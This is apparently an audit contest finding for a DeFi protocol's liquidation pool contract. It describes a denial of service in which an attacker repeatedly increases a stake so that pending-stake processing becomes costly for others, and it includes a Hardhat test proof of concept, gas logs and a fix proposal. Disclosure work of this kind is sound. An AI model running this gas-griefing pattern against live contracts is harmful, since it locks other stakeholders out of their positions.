The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Denial of service due to increasing gas price when a bad-actor(s)-stake-holder very frequently increases and decreases their position on the same day

Summary

Denial of service due to increasing gas price when a bad-actor(s)-stake-holder very frequently increases and decreases their position on the same day

Vulnerability Details

This revolves around consolidatePendingStakes() function which is present in the file contracts/LiquidationPool.sol. You will find that it is only called from 3 functions - increasePosition, decreasePosition and distributeAsset all of which are present in the same file.

Problem is that we loop through the whole array of pendingStakes and this can increase the cost linearly on a given day. Of course also, on the next day it will clear up all the previous days' pending stakes but even then the first caller on a new day is at a disadvantage.

The bigger problem though is a bunch of bad actors stake holders could choose to rapidly decrease/increase their position a bunch of times at the start of every day (thereby accumulating pending stakes) to the point where it becomes way too expensive in terms of gas and time for the legitimate stake holders to change their position. This way of locking people can get really annoying.

Proof of code:

Step 1:

Install the gas tracker library

npm install hardhat-gas-trackooor --save-dev

Step 2:

Make the following changes to hardhat.config.js

require("@nomicfoundation/hardhat-toolbox");
require('@openzeppelin/hardhat-upgrades');
+require("hardhat-gas-trackooor");

In your tests/liquidationPool.js, make the foloowing adjustments which will mock the bad actors stake holders

Import statements

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { BigNumber } = ethers;
const { mockTokenManager, DEFAULT_COLLATERAL_RATE, TOKEN_ID, rewardAmountForAsset, DAY, fastForward, POOL_FEE_PERCENTAGE, DEFAULT_EUR_USD_PRICE } = require("./common");
+const { GasTracker } = require("hardhat-gas-trackooor/dist/src/GasTracker");

Now, inside the beforeEach of describe('LiquidationPool') attach Gas Tracker

LiquidationPoolManager = await (await ethers.getContractFactory('LiquidationPoolManager')).deploy(
TST.address, EUROs.address, MockSmartVaultManager.address, EurUsd.address, Protocol.address, POOL_FEE_PERCENTAGE
);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
-LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
+LiquidationPool = new GasTracker(await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool()), {
+ logAfterTx: true,
+});

Inside the describe('claim rewards') make the following changes

await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
let stakeValue = ethers.utils.parseEther('10000');
-await TST.mint(user1.address, stakeValue);
-await EUROs.mint(user1.address, stakeValue);
-await TST.connect(user1).approve(LiquidationPool.address, stakeValue);
-await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
-await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue);
+for (const day of Array.from({length: 100}, (v, i) => i)) {
+ await TST.mint(user1.address, stakeValue);
+ await EUROs.mint(user1.address, stakeValue);
+}
+await TST.connect(user1).approve(LiquidationPool.address, ethers.utils.parseEther('1000000'));
+await EUROs.connect(user1).approve(LiquidationPool.address, ethers.utils.parseEther('1000000'));
+console.log("staking 80 times on day 1");
+for (const day of Array.from({length: 80}, (v, i) => i)) {
+ await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue);
+}
+await fastForward(DAY);
+console.log("staking 20 times on day 2");
+for (const day of Array.from({length: 20}, (v, i) => i)) {
+ await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue);
+}
await fastForward(DAY);

Now if you run this you will find that the gas cost increase lineraly like this. (look inside claimRewards test suite)

Also look what happens to the gas cost for the first tx on the next day.

npx hardhat test test/liquidationPool.js
LiquidationPool
position
✔ provides the position data for given user
✔ does not include unclaimed EUROs fees for non-holders (49ms)
increase position
⛽ increasePosition (274510 gas)
⛽ increasePosition (153551 gas)
⛽ increasePosition (160200 gas)
✔ allows increasing position by one or both assets (577ms)
⛽ increasePosition (213890 gas)
⛽ increasePosition (174317 gas)
⛽ increasePosition (301027 gas)
⛽ increasePosition (246578 gas)
✔ triggers a distribution of fees before increasing position (515ms)
decrease position
⛽ increasePosition (264934 gas)
⛽ decreasePosition (184323 gas)
⛽ decreasePosition (65638 gas)
⛽ decreasePosition (70938 gas)
✔ allows decreasing position by one or both assets (234ms)
⛽ increasePosition (213890 gas)
⛽ increasePosition (174317 gas)
⛽ decreasePosition (315134 gas)
✔ triggers a distribution of fees before decreasing position (178ms)
⛽ increasePosition (213890 gas)
⛽ increasePosition (174317 gas)
✔ does not allow decreasing beyond position value, even with assets in pool (138ms)
claim rewards
staking 80 times on day 1
⛽ increasePosition (284134 gas)
⛽ increasePosition (201907 gas)
⛽ increasePosition (211000 gas)
⛽ increasePosition (220092 gas)
⛽ increasePosition (229185 gas)
⛽ increasePosition (238277 gas)
⛽ increasePosition (247370 gas)
⛽ increasePosition (256463 gas)
⛽ increasePosition (265556 gas)
⛽ increasePosition (274649 gas)
⛽ increasePosition (283742 gas)
⛽ increasePosition (292835 gas)
⛽ increasePosition (301928 gas)
⛽ increasePosition (311021 gas)
⛽ increasePosition (320114 gas)
⛽ increasePosition (329208 gas)
⛽ increasePosition (338301 gas)
⛽ increasePosition (347394 gas)
⛽ increasePosition (356488 gas)
⛽ increasePosition (365581 gas)
⛽ increasePosition (374675 gas)
⛽ increasePosition (383769 gas)
⛽ increasePosition (392862 gas)
⛽ increasePosition (401956 gas)
⛽ increasePosition (411050 gas)
⛽ increasePosition (420144 gas)
⛽ increasePosition (429238 gas)
⛽ increasePosition (438332 gas)
⛽ increasePosition (447426 gas)
⛽ increasePosition (456520 gas)
⛽ increasePosition (465615 gas)
⛽ increasePosition (474709 gas)
⛽ increasePosition (483803 gas)
⛽ increasePosition (492898 gas)
⛽ increasePosition (501992 gas)
⛽ increasePosition (511087 gas)
⛽ increasePosition (520181 gas)
⛽ increasePosition (529276 gas)
⛽ increasePosition (538371 gas)
⛽ increasePosition (547465 gas)
⛽ increasePosition (556560 gas)
⛽ increasePosition (565655 gas)
⛽ increasePosition (574750 gas)
⛽ increasePosition (583845 gas)
⛽ increasePosition (592940 gas)
⛽ increasePosition (602036 gas)
⛽ increasePosition (611131 gas)
⛽ increasePosition (620226 gas)
⛽ increasePosition (629321 gas)
⛽ increasePosition (638417 gas)
⛽ increasePosition (647512 gas)
⛽ increasePosition (656608 gas)
⛽ increasePosition (665704 gas)
⛽ increasePosition (674799 gas)
⛽ increasePosition (683895 gas)
⛽ increasePosition (692991 gas)
⛽ increasePosition (702087 gas)
⛽ increasePosition (711183 gas)
⛽ increasePosition (720279 gas)
⛽ increasePosition (729375 gas)
⛽ increasePosition (738471 gas)
⛽ increasePosition (747567 gas)
⛽ increasePosition (756663 gas)
⛽ increasePosition (765759 gas)
⛽ increasePosition (774856 gas)
⛽ increasePosition (783952 gas)
⛽ increasePosition (793049 gas)
⛽ increasePosition (802145 gas)
⛽ increasePosition (811242 gas)
⛽ increasePosition (820338 gas)
⛽ increasePosition (829435 gas)
⛽ increasePosition (838532 gas)
⛽ increasePosition (847629 gas)
⛽ increasePosition (856726 gas)
⛽ increasePosition (865823 gas)
⛽ increasePosition (874920 gas)
⛽ increasePosition (884017 gas)
⛽ increasePosition (893114 gas)
⛽ increasePosition (902211 gas)
⛽ increasePosition (911309 gas)
staking 20 times on day 2
⛽ increasePosition (7208766 gas)
⛽ increasePosition (201907 gas)
⛽ increasePosition (211000 gas)
⛽ increasePosition (220092 gas)
⛽ increasePosition (229185 gas)
⛽ increasePosition (238277 gas)
⛽ increasePosition (247370 gas)
⛽ increasePosition (256463 gas)
⛽ increasePosition (265556 gas)
⛽ increasePosition (274649 gas)
⛽ increasePosition (283742 gas)
⛽ increasePosition (292835 gas)
⛽ increasePosition (301928 gas)
⛽ increasePosition (311021 gas)
⛽ increasePosition (320114 gas)
⛽ increasePosition (329208 gas)
⛽ increasePosition (338301 gas)
⛽ increasePosition (347394 gas)
⛽ increasePosition (356488 gas)
⛽ increasePosition (346381 gas)
⛽ claimRewards (131279 gas)
✔ allows users to claim their accrued rewards (18462ms)
8 passing (32s)

Impact

All the stakeholders can face denial of service even with just one bad actor. Once the positions are locked, the price of stablecoins can potentially be tampered with.

Tools Used

Intense staring at the code base

Recommendations

In such a situation I would recommend the use of Chainlink's AutomationCompatibleInterface which can checkUpkeep and performUpkeep. The advantage you would have is that inside the checkUpkeep you could specify the condition to be something like # of post deadline pendingStakes > 20 so that we clean house every X amount of pendingStakes rather than X amount of days. (Oh, and the number of post deadline pending stakes can be found by binary search on the pending stakes array for the deadline amount - this would work since it's a sorted array)

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

informational/invalid

heavenz52 Submitter
over 1 year ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.